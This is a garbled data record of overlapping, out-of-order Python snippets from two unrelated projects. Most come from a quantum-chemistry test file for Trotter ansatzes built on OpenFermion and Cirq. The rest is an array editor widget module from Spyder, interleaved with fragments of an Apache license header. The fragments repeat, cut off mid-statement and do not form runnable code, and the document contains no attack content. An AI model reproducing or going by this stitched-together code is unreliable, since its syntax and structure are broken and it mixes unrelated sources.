geometry = [('H', (0.,", "5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK,", "cirq import openfermion from openfermioncirq import ( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz,", "with time evolution with two Trotter steps.\"\"\" objective = HamiltonianObjective(hamiltonian)", "order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5),", "= cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) ) # Compute", "circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result) # Compute value using study", "preparation_circuit = cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) ) #", "evolution with two Trotter steps.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits =", "h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2) #", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2)", "SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK,", "* hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor)", "Unless required by applicable law or agreed to in writing,", "License. import numpy import pytest import cirq import openfermion from", "the License. import numpy import pytest import cirq import openfermion", "(0., 0., bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length),", "SPLIT_OPERATOR) # 4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True,", "qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) ) # Compute value using ansatz", "the specific language governing permissions and # limitations under the", "DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141) # 4-qubit H2", "isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals = range(len(qubits)//2)", "applicable law or agreed to in writing, software # distributed", "hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz):", "openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) ) # Compute value using ansatz circuit", "else: occupied_orbitals = range(len(qubits)//2) preparation_circuit = cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body),", "n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = ( preparation_circuit + simulation_circuit).final_wavefunction()", "ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result) # Compute", "1, format(bond_length), 2, 2) # 4-qubit LiH 2-2 with bond", "Compute value by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian", "), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order, hamiltonian, atol):", "consistent with time evolution with one Trotter step.\"\"\" objective =", "in writing, software # distributed under the License is distributed", "# 4-qubit H2 2-2 with bond length 0.7414 bond_length =", "order=order, algorithm=trotter_algorithm) ) final_state = ( preparation_circuit + simulation_circuit).final_wavefunction() correct_val", "]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that", "= cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order,", "openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4),", "obj_val = objective.value(result) # Compute value using study study =", "if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body)", "(SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2,", "2, 1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2,", "LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5),", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "preparation_circuit + simulation_circuit).final_wavefunction() correct_val = openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val,", "range(len(qubits)//4)) else: occupied_orbitals = range(len(qubits)//2) preparation_circuit = cirq.Circuit( prepare_gaussian_state( qubits,", "License, Version 2.0 (the \"License\"); # you may not use", "# You may obtain a copy of the License at", "one iteration and default parameters is consistent with time evolution", "1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0,", "ansatz with two iterations and default parameters is consistent with", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [", "openfermioncirq import ( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state,", "simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state =", "openfermion from openfermioncirq import ( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz,", "simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter(", "iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0,", "simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body,", "lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian(", "hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian,", "5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check", "the License for the specific language governing permissions and #", "(0., 0., 0.)), ('H', (0., 0., bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian(", "Apache License, Version 2.0 (the \"License\"); # you may not", "either express or implied. # See the License for the", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "objective circuit = cirq.resolve_parameters( preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result =", "5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2,", "= [('Li', (0., 0., 0.)), ('H', (0., 0., bond_length))] lih_hamiltonian", "openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141) # 4-qubit H2 2-2 with bond", "\"\"\"Check that a Trotter ansatz with one iteration and default", "openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm,", "5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3),", "[('H', (0., 0., 0.)), ('H', (0., 0., bond_length))] h2_hamiltonian =", "openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1(", "and default parameters is consistent with time evolution with one", "openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2) # 4-qubit LiH", "using ansatz circuit and objective circuit = cirq.resolve_parameters( preparation_circuit +", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1,", "diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2,", "qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = (", "LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian,", "one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator(", "= openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol)", "[('Li', (0., 0., 0.)), ('H', (0., 0., bond_length))] lih_hamiltonian =", "circuit = cirq.resolve_parameters( preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction(", "parameters is consistent with time evolution with one Trotter step.\"\"\"", "# Compute value by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian):", "openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter(", "cirq.resolve_parameters( preparation_circuit + ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val", "qubits, quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter( qubits,", "2-2 with bond length 1.45 bond_length = 1.45 geometry =", "\"License\"); # you may not use this file except in", "ansatz.circuit, ansatz.param_resolver(ansatz.default_initial_params())) result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result) #", "* hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor,", "real=True, seed=47141) # 4-qubit H2 2-2 with bond length 0.7414", "openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body) elif isinstance(hamiltonian,", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "= circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result) # Compute value using", "0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3),", "0., bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2,", "isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor)", "# distributed under the License is distributed on an \"AS", "ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = ( preparation_circuit +", "4-qubit LiH 2-2 with bond length 1.45 bond_length = 1.45", "# Unless required by applicable law or agreed to in", "by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian(", "two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time,", "import pytest import cirq import openfermion from openfermioncirq import (", "H2 2-2 with bond length 0.7414 bond_length = 0.7414 geometry", "isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor)", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "You may obtain a copy of the License at #", "with two Trotter steps.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits", "steps.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian):", "2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1),", "study = VariationalStudy( 'study', ansatz, objective, preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params())", "hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body) elif isinstance(hamiltonian,", "the Apache License, Version 2.0 (the \"License\"); # you may", "format(bond_length), 2, 2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [", "if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals =", "time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25", "final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm,", "final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=2),", "= (range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals = range(len(qubits)//2) preparation_circuit = cirq.Circuit(", "quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian =" ]
[ "not value model.setData(index, to_qvariant(value)) return elif value is not np.ma.masked:", "btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( \"Format\")) # disable", "of a column without loading more, # so we can", "self._data[j] else: value = self._data[i, j] return self.changes.get((i, j), value)", "self.val, self.alp) return to_qvariant(color) except TypeError: return to_qvariant() elif role", "return editor def commitAndCloseEditor(self): \"\"\"Commit and close editor\"\"\" editor =", "changes applied \"\\ \"to masked array won't be reflected in", "to_qvariant(int(section)) else: return to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate):", "clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self, parent, data,", "dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def", "') ') % self.data.shape) if self.index_spin.value() != 0: self.index_spin.setValue(0) else:", "selected (so expand it to match updated # range) right", "self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index):", "on Qt \"\"\" # pylint: disable=C0103 # pylint: disable=R0903 #", "= create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self)", "index_list])) return ( min(rows), max(rows), min(cols), max(cols) ) #============================================================================== #", "self._data def set_format(self, format): \"\"\"Change display format\"\"\" self._format = format", "# this is done since if the value is currently", "the editor's analysis thread in Spyder), thus leading to #", "self.cols_loaded + items_to_fetch - 1) self.cols_loaded += items_to_fetch self.endInsertColumns() def", "else: names = [_('Masked data'), _('Data'), _('Mask')] if data.ndim ==", "== (self.model().cols_loaded-1): # we've selected a whole column. It isn't", "else: return to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array", "otherwise it may be garbage-collected in another QThread # (e.g.", "self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.arraywidget = self.stack.currentWidget() if self.arraywidget:", "self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): \"\"\" This is", "self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self): \"\"\"Reimplement Qt method\"\"\" for index", "\"\"\"Array column number\"\"\" if self.total_cols <= self.cols_loaded: return self.total_cols else:", "the Qt.WA_DeleteOnClose attribute return self.data def error(self, message): \"\"\"An error", "def is_float(dtype): \"\"\"Return True if datatype dtype is a float", "kind\"\"\" return is_float(dtype) or ('int' in dtype.name) or ('long' in", "self.color_func = np.abs else: self.color_func = np.real # Backgroundcolor settings", "bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def", "= None self.hue0 = None self.dhue = None self.bgcolor_enabled =", "Values for 3d array editor self.dim_indexes = [{}, {}, {}]", "bottom == (old_rows_loaded-1)): # complete column selected (so expand it", "== (self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data = self.model().get_data() if PY3:", "arrays, to give the same behavior as slicing \"\"\" string_index", "to_qvariant from qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt,", "(old_cols_loaded is not None and left == 0 and right", "is not None: self.data.shape = self.old_data_shape def change_format(self): \"\"\"Change display", "columns=False): if rows: if self.total_rows > self.rows_loaded: return True else:", "None self.btn_close = None # Values for 3d array editor", "= xlabels self.ylabels = ylabels self.readonly = readonly self.test_array =", "= QHBoxLayout() if is_record_array or is_masked_array or data.ndim == 3:", "axis the array editor is plotting over in 3D \"\"\"", "dtype is a float kind\"\"\" return ('float' in dtype.name) or", "val = bool(float(value)) except ValueError: val = value.lower() == \"true\"", "-*- coding: utf-8 -*- # # Copyright © Spyder Project", "Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self, index, value, role=Qt.EditRole):", "as intentional and copy the whole thing col_max = self.model().total_cols-1", "Add change to self.changes self.changes[(i, j)] = val self.dataChanged.emit(index, index)", "Note: string and unicode data types will be formatted with", "self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0 for k in range(shape[1]): total_width", "data_index = self.data.shape[self.last_dim] + index else: data_index = index slice_index", "private attribute _format from outside return self._format def get_data(self): \"\"\"Return", "None self.stack = None self.layout = None self.btn_save_and_close = None", "i = index.row() j = index.column() if len(self._data.shape) == 1:", "= QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title = to_text_string(title) +", "columns and value == self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if", "# compete row selected (so expand it to match updated", "- self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded +", "'%d', 'ushort': '%d', 'uintc': '%d', 'uint': '%d', 'ulonglong': '%d', 'uintp':", "self.model.get_format()) if valid: format = str(format) try: format % 1.1", "if self.total_cols <= self.cols_loaded: return self.total_cols else: return self.cols_loaded def", "1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data, format=format, xlabels=xlabels,", "self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) # Buttons configuration btn_layout =", "if columns and value == self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns)", "or an application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None", "_(\"Warning\"), _(\"It was not possible to copy values for \"", "of rows or number of # columns is too large", "class ArrayDelegate(QItemDelegate): \"\"\"Array Editor Item Delegate\"\"\" def __init__(self, dtype, parent=None):", "without loading more, # so we can treat it as", "len(xlabels) != self.data.shape[1]: self.error(_(\"The 'xlabels' argument length do no match", "= QColor.fromHsvF(hue, self.sat, self.val, self.alp) return to_qvariant(color) except TypeError: return", "'%d', 'longlong': '%d', 'intp': '%d', 'int8': '%d', 'int16': '%d', 'int32':", "', '.join(string_size) + ') ') % self.data.shape) if self.index_spin.value() !=", "def can_fetch_more(self, rows=False, columns=False): if rows: if self.total_rows > self.rows_loaded:", "not self.data.flags.writeable is_record_array = data.dtype.names is not None is_masked_array =", "OverflowError as e: print(\"OverflowError: \" + str(e)) # spyder: test-skip", "kind\"\"\" return ('float' in dtype.name) or dtype.name in ['single', 'double']", "def change_active_widget(self, index): \"\"\" This is implemented for handling negative", "closing # See isue 7880 pass def resize_to_contents(self): \"\"\"Resize cells", "self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch - 1) self.cols_loaded +=", "return to_qvariant(color) except TypeError: return to_qvariant() elif role == Qt.FontRole:", "self.vmin -= 1 self.hue0 = huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled", "self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index): \"\"\"Set editor widget's data\"\"\"", "ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels)) elif data.ndim == 3:", "_sel_to_text(self, cell_range): \"\"\"Copy an array portion to a unicode string\"\"\"", "self.vmin = val return True def flags(self, index): \"\"\"Set editable", "{} self.xlabels = xlabels self.ylabels = ylabels self.readonly = readonly", "% arr) return False self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if", "columns=False): try: old_selection = self.selectionModel().selection() old_rows_loaded = old_cols_loaded = None", "not None: # if we've changed anything, update selection new_selection", "self.view = ArrayView(self, self.model, data.dtype, data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft)", "create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu,", "bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled = state > 0 self.reset()", "\"\"\"Accept changes\"\"\" for (i, j), value in list(self.model.changes.items()): self.data[i, j]", "is_float(dtype) or ('int' in dtype.name) or ('long' in dtype.name) \\", "ValueError): self.vmin = None self.vmax = None self.hue0 = None", "1, 0) # Buttons configuration btn_layout = QHBoxLayout() if is_record_array", "fetching data when closing # See isue 7880 pass def", "to_text_string(title) + \" - \" + _(\"NumPy array\") else: title", "= QInputDialog.getText(self, _( 'Format'), _( \"Float formatting\"), QLineEdit.Normal, self.model.get_format()) if", "widget self.stack = QStackedWidget(self) if is_record_array: for name in data.dtype.names:", "return False if xlabels is not None and len(xlabels) !=", "\"\"\"An error occured, closing the dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"),", "= huerange[1]-huerange[0] self.bgcolor_enabled = True except (TypeError, ValueError): self.vmin =", "'%r', 'bool8': '%r', 'bool': '%r', } LARGE_SIZE = 5e5 LARGE_NROWS", "\"true\" elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val = to_binary_string(value, 'utf8') elif", "str(e)) return False try: self.test_array[0] = val # will raise", ">= 3: title = field[2] if not is_text_string(title): title =", "section, orientation, role=Qt.DisplayRole): \"\"\"Set header data\"\"\" if role != Qt.DisplayRole:", "in SUPPORTED_FORMATS and not dtn.startswith('str') \\ and not dtn.startswith('unicode'): arr", "create_action, keybinding # Note: string and unicode data types will", "= QLabel(_(\"<u>Warning</u>: changes are applied separately\")) label.setToolTip(_(\"For performance reasons, changes", "this for changing the startup dimension def setup_and_check(self, data, title='',", "spyder.utils.qthelpers import add_actions, create_action, keybinding # Note: string and unicode", "@Slot() def reject(self): \"\"\"Reimplement Qt method\"\"\" if self.arraywidget is not", "we can treat it as intentional and copy the whole", "\"\"\"Handle the data change event to enable the save and", "self.ylabels = ylabels self.readonly = readonly self.test_array = np.array([0], dtype=data.dtype)", "data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index is None: stack_index =", "else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label", "old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is not None or", "ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label = QLabel(_(\"<u>Warning</u>: changes are applied", "True else: return False def fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows):", "contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup context", "return self.data def error(self, message): \"\"\"An error occured, closing the", "= QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label = QLabel(_(\"<u>Warning</u>:", "another QThread # (e.g. the editor's analysis thread in Spyder),", "> LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols def", "return self._format def get_data(self): \"\"\"Return data\"\"\" return self._data def set_format(self,", "str(e)) return False # Add change to self.changes self.changes[(i, j)]", "startup dimension def setup_and_check(self, data, title='', readonly=False, xlabels=None, ylabels=None): \"\"\"", "is_record_array: dtn = data.dtype.name if dtn not in SUPPORTED_FORMATS and", "match array \" \"column number\")) return False if ylabels is", "select only the first part of a column without loading", "value = self._data[i, j] return self.changes.get((i, j), value) def data(self,", "new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError: # Needed to handle", "\"\"\" This change the active axis the array editor is", "length do no match array row \" \"number\")) return False", "[':']*3 string_index[self.last_dim] = '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" + \", \".join(string_index)", "= False # Use paging when the total size, number", "0 and row_max == (self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data =", "data.data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels)) elif", "+ _(\"NumPy array\") else: title = _(\"Array editor\") if readonly:", "return '' else: try: return to_qvariant(self._format % value) except TypeError:", "is not None is_masked_array = isinstance(data, np.ma.MaskedArray) if data.ndim >", "bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self):", "if we've changed anything, update selection new_selection = QItemSelection() for", "= str(format) try: format % 1.1 except: QMessageBox.critical(self, _(\"Error\"), _(\"Format", "def __init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype = dtype def", "array won't be reflected in \"\\ \"array's data (and vice-versa).\"))", "QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator)", "is not None and top == 0 and bottom ==", "= isinstance(data, np.ma.MaskedArray) if data.ndim > 3: 